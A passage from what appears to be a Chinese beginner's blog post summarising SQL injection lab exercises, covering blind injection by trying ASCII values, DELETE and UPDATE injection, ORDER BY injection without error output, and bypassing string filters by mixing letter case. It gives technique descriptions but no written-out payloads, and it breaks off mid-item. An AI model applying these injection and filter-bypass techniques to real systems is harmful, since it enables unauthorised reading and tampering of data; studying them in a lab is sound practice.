    6. 第五题是一个新的思路——盲注,说人话就是对着ASCII表挨个字符硬试,这边建议编写脚本程序或者实用工具解决此类问题。
    7. 第六题,不太明白有什么突出的特点。
    8. 第七题是DELETE注入,这很危险,错误注入就行
    9. 第八题添加了字符串过滤,有字符串过滤的情况下可以使用大小写混淆的方式试图绕过过滤
    10. 第九题是UPDATE注入,它使得不应该被修改的数据跟着被篡改了。
    11. 第十题直接查找的条件就是列名…这玩意儿最简单的了。
    12. 第十一题是ORDER BY而且无错误回显emmmmmmmmmm 施工ing
    13. 第十二题直接使用select方法查找了一些带有

你可能感兴趣的:(Web安全初学,安全,数据库,sql)